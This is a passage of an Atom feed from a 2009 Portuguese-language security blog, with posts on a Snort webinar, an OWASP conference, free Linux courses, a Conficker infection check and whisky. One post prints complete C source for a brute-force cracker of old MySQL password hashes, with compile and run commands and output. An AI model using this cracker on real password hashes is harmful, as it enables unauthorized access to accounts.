href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=5075447378275449394&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/5075447378275449394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/5075447378275449394'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/05/25-de-maio-pe-dia-internacional-dos.html' title='25 de maio é dia Internacional dos Nerd'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_zPY0AjwymTU/ShrSpcIpgvI/AAAAAAAAANc/g62SEg9GD_U/s72-c/geek_gang_signs.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-1888724574173606895</id><published>2009-05-07T16:18:00.000-07:00</published><updated>2009-05-07T16:21:33.542-07:00</updated><title type='text'>Webminar Overview redes e snort (pt_BR)</title><content type='html'>Caros,&lt;br /&gt;A Dynsec ( &lt;a href="http://www.dynsec.com.br/" target="_blank"&gt;http://www.dynsec.com.br&lt;/a&gt; )  fará um webminar inicial sobre os topicos abaixo:&lt;br /&gt;&lt;br /&gt;- Introdução redes&lt;br /&gt;- Protocolos ( tcp,ip, udp, icmp, http, ssh, smtp, pop3, imap ..... e pequeno correlacionamento com os pré processadores existentes)&lt;br /&gt;- Overview funcionamento snort&lt;br /&gt;- Equipamentos&lt;br /&gt;- Ataques&lt;br /&gt;&lt;br /&gt;A idéia é nivelar um pouco todos da lista e mostrar importancia de entendimento de funcionamento e protocolos.&lt;br /&gt;&lt;br /&gt;O webminar acontecerá terça feira (12/05) às 20:00h (horário Brasilia) e terá duração de 1  hora. O webminar terá nessa edição como speakers o Marcos Aurélio(Dynsec), Rodrigo Montoro (Dynsec) e eu Cleber Brandão (BRconnection).&lt;br /&gt;Quem se interessar enviar o e-mail para &lt;a href="mailto:webminar@dynsec.com.br" target="_blank"&gt;webminar@dynsec.com.br&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Happy Snorting!&lt;br /&gt;&lt;br /&gt;By Clebeer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-1888724574173606895?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/1888724574173606895/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=1888724574173606895&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/1888724574173606895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/1888724574173606895'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/05/webminar-overview-redes-e-snort-ptbr.html' title='Webminar Overview redes e snort (pt_BR)'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-1606281385662513098</id><published>2009-05-04T11:18:00.000-07:00</published><updated>2009-05-04T11:43:58.409-07:00</updated><title type='text'>Quebrando senhas do MySQL.</title><content type='html'>Fuçando na Net achei um código bem legal de como quebrar senhas armazenadas no MySQL.&lt;br /&gt;Como isso funciona? As senhas de usuários armazenadas em um banco MySQL (geralmente) são armazenadas em hash, ou seja se eu tenho acesso ao banco e dou um select no campo de password do usuário "fulano" eo resultado seria como a seguir:&lt;br /&gt;&lt;br /&gt;&lt;pre class="programlisting"&gt;mysql&gt; &lt;strong class="userinput"&gt;&lt;code&gt;SELECT PASSWORD('fulano');&lt;/code&gt;&lt;/strong&gt;&lt;br /&gt;+--------------------+&lt;br /&gt;| PASSWORD('fulano') |&lt;br /&gt;+--------------------+&lt;br /&gt;| 6f8c114b58f2ce9e   |&lt;br /&gt;+--------------------+&lt;br /&gt;&lt;/pre&gt;Aqui vemos apenas o hash da senha ae entra o código que achei para nos auxiliar a descobrir a senha deste usuário.&lt;br /&gt;&lt;br /&gt;executamos o comando (já compilado)&lt;br /&gt;&lt;br /&gt;[localhost~] $  ./MysqlCrack 6f8c114b58f2ce9e&lt;br /&gt;Hash: 6f8c114b58f2ce9e&lt;br /&gt;Trying length 3&lt;br /&gt;Trying length 4&lt;br /&gt;Trying length 5&lt;br /&gt;Trying length 6&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Found pass: mypass&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Aeee a senha do usuário fulano é "mypass"... rsrsrs&lt;br /&gt;Fácil né?&lt;br /&gt;Abaixo segue o código fonte do programa, para compilar basta executar o seguinte comando:&lt;br /&gt;[localhost~]$ gcc -o MysqlCrack MysqlCrac.c&lt;br /&gt;&lt;br /&gt;---Corte---&lt;br /&gt;/* This program is public domain. Share and enjoy.&lt;br /&gt;*&lt;br /&gt;* Example:&lt;br /&gt;* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast&lt;br /&gt;* $ mysqlfast 6294b50f67eda209&lt;br /&gt;* Hash: 6294b50f67eda209&lt;br /&gt;* Trying length 3&lt;br /&gt;* Trying length 4&lt;br /&gt;* Found pass: barf&lt;br /&gt;*&lt;br /&gt;* The MySQL password hash function could be strengthened considerably&lt;br /&gt;* by:&lt;br /&gt;* - making two passes over the password&lt;br /&gt;* - using a bitwise rotate instead of a left shift&lt;br /&gt;* - causing more arithmetic overflows&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;typedef unsigned long u32;&lt;br /&gt;&lt;br /&gt;/* Allowable characters in password; 33-126 is printable ascii */&lt;br /&gt;#define MIN_CHAR 33&lt;br /&gt;#define MAX_CHAR 126&lt;br /&gt;&lt;br /&gt;/* Maximum length of password */&lt;br /&gt;#define MAX_LEN 12&lt;br /&gt;&lt;br /&gt;#define MASK 0x7fffffffL&lt;br /&gt;&lt;br /&gt;int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)&lt;br /&gt;{&lt;br /&gt;  int i, c;&lt;br /&gt;  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;&lt;br /&gt;  u32 newstate1, newstate2, newstate3;&lt;br /&gt;  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];&lt;br /&gt;  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];&lt;br /&gt;  i = -1;&lt;br /&gt;  sum = 7;&lt;br /&gt;  state1_ary[0] = 1345345333L;&lt;br /&gt;  state2_ary[0] = 0x12345671L;&lt;br /&gt;&lt;br /&gt;  while (1) {&lt;br /&gt;    while (i &lt; stop) {&lt;br /&gt;      i++;&lt;br /&gt;      pass_ary[i] = MIN_CHAR;&lt;br /&gt;      step_ary[i] = (state1_ary[i] &amp;amp; 0x3f) + sum;&lt;br /&gt;      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] &lt;&lt; 8);&lt;br /&gt;      sum += MIN_CHAR;&lt;br /&gt;      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];&lt;br /&gt;      state2_ary[i+1] = state2_ary[i]&lt;br /&gt;        + ((state2_ary[i] &lt;&lt; 8) ^ state1_ary[i+1]);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    state1 = state1_ary[i+1];&lt;br /&gt;    state2 = state2_ary[i+1];&lt;br /&gt;    step = (state1 &amp;amp; 0x3f) + sum;&lt;br /&gt;    xor1 = step*MIN_CHAR + (state1 &lt;&lt; 8);&lt;br /&gt;    xor2 = (state2 &lt;&lt; 8) ^ state1;&lt;br /&gt;&lt;br /&gt;    for (c = MIN_CHAR; c &lt;= MAX_CHAR; c++, xor1 += step) {&lt;br /&gt;      newstate2 = state2 + (xor1 ^ xor2);&lt;br /&gt;      newstate1 = state1 ^ xor1;&lt;br /&gt;&lt;br /&gt;      newstate3 = (targ2 - newstate2) ^ (newstate2 &lt;&lt; 8);&lt;br /&gt;      div = (newstate1 &amp;amp; 0x3f) + sum + c;&lt;br /&gt;      diff = ((newstate3 ^ newstate1) - (newstate1 &lt;&lt; 8)) &amp;amp; MASK;&lt;br /&gt;      if (diff % div != 0) continue;&lt;br /&gt;      d = diff / div;&lt;br /&gt;      if (d &lt;&gt; MAX_CHAR) continue;&lt;br /&gt;&lt;br /&gt;      div = (newstate3 &amp;amp; 0x3f) + sum + c + d;&lt;br /&gt;      diff = ((targ1 ^ newstate3) - (newstate3 &lt;&lt; 8)) &amp;amp; MASK;&lt;br /&gt;      if (diff % div != 0) continue;&lt;br /&gt;      e = diff / div;&lt;br /&gt;      if (e &lt;&gt; MAX_CHAR) continue;&lt;br /&gt;&lt;br /&gt;      pass_ary[i+1] = c;&lt;br /&gt;      pass_ary[i+2] = d;&lt;br /&gt;      pass_ary[i+3] = e;&lt;br /&gt;      return 1;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    while (i &gt;= 0 &amp;amp;&amp;amp; pass_ary[i] &gt;= MAX_CHAR) {&lt;br /&gt;      sum -= MAX_CHAR;&lt;br /&gt;      i--;&lt;br /&gt;    }&lt;br /&gt;    if (i &lt; 0) break;&lt;br /&gt;    pass_ary[i]++;&lt;br /&gt;    xor_ary[i] += step_ary[i];&lt;br /&gt;    sum++;&lt;br /&gt;    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];&lt;br /&gt;    state2_ary[i+1] = state2_ary[i]&lt;br /&gt;      + ((state2_ary[i] &lt;&lt; 8) ^ state1_ary[i+1]);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void crack(char *hash)&lt;br /&gt;{&lt;br /&gt;  int i, len;&lt;br /&gt;  u32 targ1, targ2, targ3;&lt;br /&gt;  int pass[MAX_LEN];&lt;br /&gt;&lt;br /&gt;  if ( sscanf(hash, "%8lx%lx", &amp;amp;targ1, &amp;amp;targ2) != 2 ) {&lt;br /&gt;    printf("Invalid password hash: %s\n", hash);&lt;br /&gt;    return;&lt;br /&gt;  }&lt;br /&gt;  printf("Hash: %08lx%08lx\n", targ1, targ2);&lt;br /&gt;  targ3 = targ2 - targ1;&lt;br /&gt;  targ3 = targ2 - ((targ3 &lt;&lt; 8) ^ targ1);&lt;br /&gt;  targ3 = targ2 - ((targ3 &lt;&lt; 8) ^ targ1);&lt;br /&gt;  targ3 = targ2 - ((targ3 &lt;&lt; 8) ^ targ1);&lt;br /&gt;&lt;br /&gt;  for (len = 3; len &lt;= MAX_LEN; len++) {&lt;br /&gt;    printf("Trying length %d\n", len);&lt;br /&gt;    if ( crack0(len-4, targ1, targ3, pass) ) {&lt;br /&gt;      printf("Found pass: ");&lt;br /&gt;      for (i = 0; i &lt; len; i++)&lt;br /&gt;        putchar(pass[i]);&lt;br /&gt;      putchar('\n');&lt;br /&gt;      break;&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  if (len &gt; MAX_LEN)&lt;br /&gt;    printf("Pass not found\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;  int i;&lt;br /&gt;  if (argc &lt;= 1)&lt;br /&gt;    printf("usage: %s hash\n", argv[0]);&lt;br /&gt;  for (i = 1; i &lt; argc; i++)&lt;br /&gt;    crack(argv[i]);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;---Corte---&lt;br /&gt;&lt;br /&gt;Aprecie com moderação... =D&lt;br /&gt;&lt;br /&gt;By CleBeer |_b&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-1606281385662513098?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/1606281385662513098/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=1606281385662513098&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/1606281385662513098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/1606281385662513098'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/05/quebrando-senhas-do-mysql.html' title='Quebrando senhas do MySQL.'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-4380018379756054139</id><published>2009-04-30T14:37:00.000-07:00</published><updated>2009-04-30T14:38:32.305-07:00</updated><title type='text'>OWASP AppSec Brazil 2009 - Brasília, 27-30 de outubro de 2009</title><content type='html'>&lt;p&gt;Tenho o prazer de anunciar que a Conferência Internacional sobre Segurança de Aplicações, a ser realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do Capítulo OWASP Brasil que está tentando trazer o evento para o nosso país desde novembro de 2008 e finalmente conseguiu discutir o assunto com todos os envolvidos e conseguir a aprovação necessária para isso.&lt;/p&gt; &lt;p&gt;A Conferência será promovida pelo OWASP Brasil com o suporte da &lt;a href="http://www.ti-controle.gov.br/" target="_blank"&gt;Comunidade TI-Controle&lt;/a&gt; para tratar os diferentes assuntos relacionados a Segurança de Aplicações, tais como:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Desenvolvimento seguro&lt;/li&gt;&lt;li&gt;Segurança e arquitetura de software&lt;/li&gt;&lt;li&gt;Processos de desenvolvimento de sistemas seguros&lt;/li&gt;&lt;li&gt;Ferramentas para análise de segurança de aplicações&lt;/li&gt;&lt;li&gt;Bibliotecas e frameworks de segurança para aplicações web&lt;/li&gt;&lt;li&gt;Auditoria e testes de segurança em aplicações&lt;/li&gt;&lt;li&gt;Metodologias gerenciais para melhoria da segurança no desenvolvimento de software&lt;/li&gt;&lt;li&gt;Análise de ataques a aplicações&lt;/li&gt;&lt;li&gt;Avaliação de riscos de negócio em aplicações web&lt;/li&gt;&lt;li&gt;Segurança de web services&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;A Conferência terá dois dias de treinamentos (27 e 28 de outubro) seguidos de dois dias de palestras (29 e 30 de outubro). As chamadas de trabalho serão divulgadas neste fim de semana. A página com as informações relacionadas está disponível na Wiki da &lt;a href="https://www.owasp.org/index.php/AppSec_Brasil_2009" target="_blank"&gt;OWASP&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Retirado do blog do Camargo Neves&lt;/p&gt;&lt;p&gt;http://camargoneves.com&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-4380018379756054139?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/4380018379756054139/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=4380018379756054139&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/4380018379756054139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/4380018379756054139'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/owasp-appsec-brazil-2009-brasilia-27-30.html' title='OWASP AppSec Brazil 2009 - Brasília, 27-30 de outubro de 2009'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-8389837019384229823</id><published>2009-04-28T13:17:00.000-07:00</published><updated>2009-04-28T13:18:44.543-07:00</updated><title type='text'>[INFORME] Cursos gratuitos</title><content type='html'>o &lt;b&gt;Pontão de Cultura Coletivo Digital&lt;/b&gt; estará oferecendo oficinas&lt;b&gt; gratuitas&lt;/b&gt; :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;TÉCNICO EM SISTEMAS LINUX&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;  &lt;b&gt;Data: 04 à 08 de maio de 2009.&lt;br /&gt;Horário: das 08 hs às 12 hs&lt;/b&gt;.&lt;br /&gt;           &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Liberation Serif, serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Público-Alvo: &lt;/b&gt;&lt;/span&gt;&lt;span&gt;Pessoas que já possuem um conhecimento básico de software e hardware, mas que são iniciantes e interessadas em aprender a utilizar o sistema operacional Linux como ferramenta do dia-a-dia.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;span style="font-family:Liberation Serif, serif;"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;EDIÇÃO DE IMAGENS - GIMP&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Data: 11 à 15 de maio de 2009.&lt;br /&gt;Horário: das 14 hs às 18 hs&lt;/b&gt;.&lt;br /&gt;            &lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Liberation Serif, serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Público-Alvo&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Liberation Serif, serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;: &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Liberation Serif, serif;"&gt;&lt;span&gt;Pessoas que queiram manipular imagens com uso do computador.&lt;br /&gt;  Recorte, edição, fusão e tratamento de imagens com conceitos básicos de composição serão os conteúdos aplicados nesta oficina.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0cm;"&gt; &lt;b&gt;Os cursos serão aplicados na sede do Coletivo Digital.&lt;/b&gt;&lt;br /&gt;Reserve sua vaga pelo telefone.&lt;b&gt;&lt;span style="font-family:Liberation Serif, serif;"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;b&gt;Rua Cônego Eugênio Leite, 883 - Pinheiros - São Paulo/SP - CEP: 05414-012 - Telefone: (11) 3083-5134.&lt;/b&gt;  &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-8389837019384229823?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/8389837019384229823/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=8389837019384229823&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/8389837019384229823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/8389837019384229823'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/informe-cursos-gratuitos.html' title='[INFORME] Cursos gratuitos'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-8267358659427177313</id><published>2009-04-27T10:57:00.000-07:00</published><updated>2009-04-27T14:03:05.535-07:00</updated><title type='text'>Teste de infecção pelo conficker via web</title><content type='html'>O Conficker é o malware do momento, temos ouvido muita coisa sobre ele na Internet, mas a dúvida que muitos têm é: "Meu computador esta infectado com esse tal conficker?" em um dos meus posts antigos comentei de como ver se uma maquina esta infectada com o conficker utilizando o nmap, porém nem sempre temos esta ferramenta a mãos, então como podemos verificar a existência ou não do conficker em nossa máquina?&lt;br /&gt;A galera do &lt;a href="http://www.confickerworkinggroup.org/"&gt;"Conficker Working Group"&lt;/a&gt;  criou um teste gráfico via web que é bem fácil, basta acessar o seguinte endereço:&lt;a href="http://www.confickerworkinggroup.org/infection_test/cfeyechart.html"&gt;&lt;br /&gt;http://www.confickerw&lt;/a&gt;&lt;a href="http://www.confickerworkinggroup.org/infection_test/cfeyechart.html"&gt;orkinggroup.org/infection_test/cfeyechart.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Esta página deverá lhe mostrar a seguinte imagem:&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zPY0AjwymTU/SfYZse8zUHI/AAAAAAAAANM/JjYdAzrzN6A/s1600-h/conficker-no.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 218px;" src="http://1.bp.blogspot.com/_zPY0AjwymTU/SfYZse8zUHI/AAAAAAAAANM/JjYdAzrzN6A/s400/conficker-no.jpg" alt="" id="BLOGGER_PHOTO_ID_5329475461052584050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Caso a imagem exibida seja diferente há algum problema com seu computador =p&lt;br /&gt;veja a seguir as possíveis causas:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_zPY0AjwymTU/SfYYvk-0IvI/AAAAAAAAAM8/0P_1AxNQFMA/s1600-h/chartinfected-c.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 109px;" src="http://3.bp.blogspot.com/_zPY0AjwymTU/SfYYvk-0IvI/AAAAAAAAAM8/0P_1AxNQFMA/s200/chartinfected-c.jpg" alt="" id="BLOGGER_PHOTO_ID_5329474414699619058" border="0" /&gt;&lt;/a&gt;  Caso seja exibida esta figura seu computador pode estar infectado com o conficker (variante "C"  ou mais nova)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_zPY0AjwymTU/SfYZW34LTxI/AAAAAAAAANE/2CJe33IhOCc/s1600-h/chartinfected-ab.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 109px;" src="http://3.bp.blogspot.com/_zPY0AjwymTU/SfYZW34LTxI/AAAAAAAAANE/2CJe33IhOCc/s200/chartinfected-ab.jpg" alt="" id="BLOGGER_PHOTO_ID_5329475089786949394" border="0" /&gt;&lt;/a&gt;Caso seja exibida esta figura seu computador pode estar infectado com o conficker (variante "A/B")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zPY0AjwymTU/SfYZ5R4-YgI/AAAAAAAAANU/N9_3QRycyIc/s1600-h/chartdisabled.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 109px;" src="http://4.bp.blogspot.com/_zPY0AjwymTU/SfYZ5R4-YgI/AAAAAAAAANU/N9_3QRycyIc/s200/chartdisabled.jpg" alt="" id="BLOGGER_PHOTO_ID_5329475680885170690" border="0" /&gt;&lt;/a&gt;Caso seja exibida esta figura seu browser pode estar com a opção de exibir imagens desabilitada.. =p&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Explicando:&lt;br /&gt;&lt;br /&gt;O conficker bloqueia o acesso a mais de 100 sites de antivirus e segurança, ou seja se você não conseguir carregar as imagens da parte de cima da tabela com as 6 figuras possívelmente o conficker ou outro software malicioso esta bloqueando o seu acesso a este site.&lt;br /&gt;Caso você consiga ver todas as 6 figuras signicica que você não esta infectado com o conficker ou que você pode esta navegando através de um proxy (neste caso você não pode executar este teste pois o resultado não sera real).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By CleBeer |_b&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-8267358659427177313?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/8267358659427177313/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=8267358659427177313&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/8267358659427177313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/8267358659427177313'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/conficker-teste-grafico.html' title='Teste de infecção pelo conficker via web'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_zPY0AjwymTU/SfYZse8zUHI/AAAAAAAAANM/JjYdAzrzN6A/s72-c/conficker-no.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-6278553071073468229</id><published>2009-04-23T13:28:00.000-07:00</published><updated>2009-04-23T13:54:05.846-07:00</updated><title type='text'>Jack Daniels</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_zPY0AjwymTU/SfDVFbUG-WI/AAAAAAAAAMk/vbT74yWbBRw/s1600-h/D780%7EJack-Daniel-s-Black-Label-Posters.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 156px; height: 200px;" src="http://2.bp.blogspot.com/_zPY0AjwymTU/SfDVFbUG-WI/AAAAAAAAAMk/vbT74yWbBRw/s200/D780%7EJack-Daniel-s-Black-Label-Posters.jpg" alt="" id="BLOGGER_PHOTO_ID_5327992648387459426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;O Bom e velho Tio Jack como eu gosto de chamar um dos meus Whiskeys prediletos o famoso Jack Daniels, apesar de não ter muito marketing aqui no Brasil o bom e velho Jack é muito conhecido mundialmente, fora o rótulo padrão existe também o "Single Barrel" que todas as garrafas de tederminado lote são estraídas de um único barril e o meu preferido o "Gentleman Jack" (por isso o chamo de velho tio Jack rsrs) com um sabor suave e bem específico herdado do seu duplo processo de destilação. Uma curiosidade sobre o Bom e velho Jack é a inscrição no seu rótulo que diz "The old N° 7 Brand". Existem várias versões sobre esta frase, as mais conhecidas são as que falam que o velho Jack Daniels teve 7 namoradas,  a que o jeito do velho Jack escrever seu nome parecia o número 7 e uma que fala que o velho jack escoheu o número 7 por ser seu número da sorte porém o verdadeiro significado desta frase o velho Jack levou para o seu túmulo. Bem agora que já conhecemos um pouco mais sobre o Velho Jack, assim que tiver oportunidade não deixe de aprecia-lo.&lt;br /&gt;&lt;br /&gt;By CleBeer |_b&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="font-size:10;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 